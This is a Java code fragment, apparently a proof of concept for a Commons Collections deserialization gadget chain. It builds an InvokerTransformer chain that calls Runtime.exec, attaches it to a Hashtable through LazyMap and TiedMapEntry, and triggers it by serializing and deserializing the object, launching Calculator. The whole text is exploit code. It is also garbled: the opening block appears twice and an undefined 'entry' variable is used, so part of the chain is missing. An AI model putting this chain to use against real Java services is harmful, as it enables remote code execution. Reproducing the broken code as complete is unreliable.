Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1); Hashtable hashtable = new Hashtable(); hashtable.put("foo",1);
Field field = hashtable.getClass().getDeclaredField("table"); field.setAccessible(true);
Field keyfield = entry.getClass().getDeclaredField("key"); keyfield.setAccessible(true); keyfield.set(entry,tiedMapEntry);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(hashtable); out.flush(); out.close();
byte[] bytes = baos.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); in.close();